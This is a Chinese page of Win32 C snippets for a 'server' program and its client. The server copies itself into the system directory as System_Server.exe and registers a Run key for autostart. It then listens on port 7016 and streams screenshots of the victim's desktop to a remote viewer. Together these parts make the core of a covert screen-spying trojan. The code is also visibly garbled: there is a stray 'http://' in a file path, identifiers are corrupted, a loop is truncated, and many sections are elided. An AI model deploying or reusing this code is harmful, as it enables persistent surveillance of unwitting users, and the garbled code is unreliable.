 服務器端程序設計實現
  服務器端程序設計實現……
//設定待添加的注冊表的路徑
LPCTSTR Rgspath="Software//Microsoft//Windows//CurrentVersion//Run" ;
……
//獲取系統路徑
GetSystemDirectory(SysPath,size);
GetModuleFileName(NULL,CurrentPath,size);
……
//把服務程序從當前位置拷貝到系統目錄中
FileCurrentName = CurrentPath;
FileNewName = lstrcat(SysPath,"http://System_Server.exe");
ret = CopyFile(FileCurrentName,FileNewName,TRUE);
……
//打開鍵值
ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,Rgspath,0,KEY_WRITE, &hKEY);
if(ret!=ERROR_SUCCESS)
{ 
  RegCloseKey(hKEY);
  return FALSE;
}
//設置鍵值
ret=RegSetValueEx(hKEY,"System_Server",NULL,type,
(const unsigned char*)FileNewName,size);
if(ret!=ERROR_SUCCESS)
{ 
  RegCloseKey(hKEY);
  return FALSE;
}
//關閉鍵值
RegCloseKey(hKEY);……
wMajorVersion = MAJOR_VERSION;
wMinorVersion = MINOR_VERSION;
wVersionReqd = MAKEWord(wMajorVersion,wMinorVersion);
……
Status = WSAStartup(wVersionReqd,&lpmyWSAData); 
if (Status != 0)
return FALSE;
……
//創建Socket套接字
ServerSock = socket(AF_INET,SOCK_STREAM,0);
if (ServerSock==INVALID_SOCKET)
return FALSE;
dstserver_addr.sin_family = PF_INET;
dstserver_addr.sin_port = htons(7016);
dstserver_addr.sin_addr.s_addr = INADDR_ANY;
//BIND
Status = bind(ServerSock,(struct sockaddr far *)&dstserver_addr,sizeof(dstserver_addr));
if (Status != 0)
return FALSE;
//LISTEN
Status = listen(ServerSock,1);
if (Status != 0)
return FALSE;//ACCEPT
int len = sizeof(dstserver_addr);
NewSock = accept(ServerSock,(struct sockaddr far *)&dstserver_addr,&len);
if (NewSock < 0)
{
  closesocket(ServerSock);
  return FALSE;
}
//獲取屏幕大小
SysWidth = GetSystemMetrics(SM_CXSCREEN);
SysHeight = GetSystemMetrics(SM_CYSCREEN);
………… 
//Send Falg
FALG = US_FLAG;
send(NewSock,(char*)&FALG,sizeof(FALG)+1,MSG_OOB);
//Get Message
length = recv(NewSock,(char*)&iMsg,sizeof(iMsg)+1,0);
if (length < 0)
{
  //Close Sock
  closesocket(NewSock);
  closesocket(ServerSock);
  return FALSE;
}
//GetMessageData
if (iMsg < 4500) 
{
  send(NewSock,(char*)&SysWidth,sizeof(SysWidth)+1,MSG_OOB);
  send(NewSock,(char*)&SysHeight,sizeof(SysHeight)+1,MSG_OOB);
}
switch(iMsg)
{
  case US_DESKTOPBIT: //發送當前屏幕圖像
   SendDesktop();
   break;
  ……
}void SendDesktop() 
{
  ……
  //創建桌面設備環境句柄
  hdcmy = CreateDC("DISPLAY",NULL,NULL,NULL);
  hbufferdc = CreateCompatibleDC(hdcmy);
  //創建位圖
  hBit = CreateCompatibleBitmap(hdcmy, BitWidth, BitHeight);
  hOldBitmap = (HBITMAP)SelectObject(hbufferdc, hBit);
  StretchBlt(hbufferdc, 0, 0, BitWidth, BitHeight,
  hdcmy, 0, 0,SysWidth,SysHeight, SRCCOPY);
  hBit = (HBITMAP)SelectObject(hbufferdc, hOldBitmap);
  …… 
  //DDBToDIB
  hPal = (HPALETTE) GetStockObject(DEFAULT_PALETTE );
  // 獲取位圖信息
  GetObject(bitmap,sizeof(bm),(LPSTR)&bm);
  //初始化位圖信息頭
  bi.biSize = sizeof(BITMAPINFOHEADER);
  bi.biWidth = bm.bmWidth;
  bi.biHeight = bm.bmHeight;
  bi.biPlanes = 1;
  //bi.biBitCount = bm.bmPlanes * bm.bmBitsPixel;
  bi.biBitCount = 4;
  bi.biComPRession = BI_RGB;
  bi.biSizeImage = 0;
  bi.biXPelsPerMeter = 0;
  bi.biYPelsPerMeter = 0;
  bi.biClrUsed = 0;
  bi.biClrImportant = 0;
  ……
  lpbi = (LPBITMAPINFOHEADER)hDib;
  *lpbi = bi;
  GetDIBits(hdc, bitmap, 0L, (DWORD)bi.biHeight,(LPBYTE)NULL, (LPBITMAPINFO)lpbi, (DWORD)DIB_RGB_COLORS );
  bi = *lpbi;
  if (bi.biSizeImage == 0)
  {
   bi.biSizeImage = ((((bi.biWidth * bi.biBitCount) + 31) & ~31) / 8) 
   * bi.biHeight;
  }
  dwLen += bi.biSizeImage;
  if (handle = GlobalReAlloc(hDib, dwLen, GMEM_MOVEABLE))
   hDib = handle;
   ……
   lpbi = (LPBITMAPINFOHEADER)hDib;
   BOOL bgotbits = GetDIBits( hdc, bitmap0L, (DWORD)bi.biHeight,(LPBYTE)lpbi+ (bi.biSize + ncolors * sizeof(RGBQUAD)),(LPBITMAPINFO)lpbi, (DWORD)DIB_RGB_COLORS); 
   SelectPalette(hdc,hPal,FALSE);
   ……
   send(NewSock,(char*)&bitSize,sizeof(bitSize)+1,MSG_OOB);
   recv(NewSock,(char*)&BitMsg,sizeof(BitMsg)+1,0);
   plmagePoint = (LPBYTE)hDib;
   for(WORD i=0;i
    send(NewSock,(char*)plmagePoint,sizeof(BYTE)*US_MAXSIZE,MSG_OOB);
    plmagePoint = plmagePoint + US_MAXSIZE;
    recv(NewSock,(char*)&BitMsg,sizeof(BitMsg)+1,0);
   }
   if (bitSize%US_MAXSIZE)
   {
    send(NewSock,(char*)plmagePoint,sizeof(BYTE)*GlobalSize(hDib)%US_MAXSIZE,MSG_OOB);
    recv(NewSock,(char*)&BitMsg,sizeof(BitMsg)+1,0);
   }
   ……
} ……
wVersionrequested = MAKEWORD(2,0);
//啟動套接字
WSAStartup(wVersionrequested,&wsaData);
……
SetTimer(hWnd,IDT_TIMER,US_TIME,NULL);……
clientSock = socket(AF_INET,SOCK_STREAM,0);
if (clientSock < 0)
return FALSE;
//建立連接
client.sin_family = PF_INET;
client.sin_port = htons(7016);
client.sin_addr.s_addr = inet_addr(client_address);
……
msgsock = connect(clientSock,(struct sockaddr*)&client,sizeof(client));
if (msgsock!=0)
  return FALSE;
……
//獲取屏幕尺寸
GetWindowRect(hWnd,&rect);
BitWidth = rect.right - rect.left;
BitHeight = rect.bottom - rect.top;
recv(clientSock,(char*)&Flag,sizeof(Flag)+1,0);
if (Flag == US_FLAG)
{
  MouseEventFlag = false;
  //發送消息
  Msg = US_DESKTOPBIT;
  send(clientSock,(char*)&Msg,sizeof(Msg)+1,MSG_OOB);
  //Send Bit Height and Weidth
  send(clientSock,(char*)&BitWidth,sizeof(BitWidth)+1,MSG_OOB);
  send(clientSock,(char*)&BitHeight,sizeof(BitHeight)+1,MSG_OOB);
  //接收數據
  GetDesktopBit(hWnd);
  MouseEventFlag = true;
}
//關閉套接字,釋放數據
closesocket(clientSock);……
//Get Bit Size
recv(clientSock,(char*)&bitSize,sizeof(bitSize)+1,0);
send(clientSock,(char*)&Flag,sizeof(Flag)+1,MSG_OOB);
//鎖定內存
hDib = GlobalAlloc(GMEM_MOVEABLE,bitSize);
p = (LPBYTE)GlobalLock(hDib);
p2 = p;
for(WORD i=0;i<bitSize/US_MAXSIZE;i++)
{
  len = recv(clientSock,buf,US_MAXSIZE,0);
  CopyMemory(p2,buf,US_MAXSIZE);
  p2 = p2 + US_MAXSIZE;
  send(clientSock,(char*)&Flag,sizeof(Flag)+1,MSG_OOB);
}
if (bitSize%US_MAXSIZE)
{
  len = recv(clientSock,buf,bitSize%US_MAXSIZE,0);
  CopyMemory(p2,buf,len);
  p2 = p2 + bitSize%US_MAXSIZE;
  send(clientSock,(char*)&Flag,sizeof(Flag)+1,MSG_OOB);
}
p2 = p2 - bitSize;
……
hdc = GetDC(hWnd);
GetClientRect(hWnd,&rect);
//定義顏色
int color = (1<<((LPBITMAPINFOHEADER)p2)->biBitCount);
if(color>256)
color = 0;
//顯示 
StretchDIBits(hdc, 0, 0, rect.right,rect.bottom,0,0,
((LPBITMAPINFOHEADER)p)->biWidth, 
((LPBITMAPINFOHEADER)p)->biHeight,
(LPBYTE)p+(sizeof(BITMAPINFOHEADER)+color*sizeof(RGBQUAD)),
(LPBITMAPINFO)p,DIB_RGB_COLORS, SRCCOPY);
……新聞熱點
疑難解答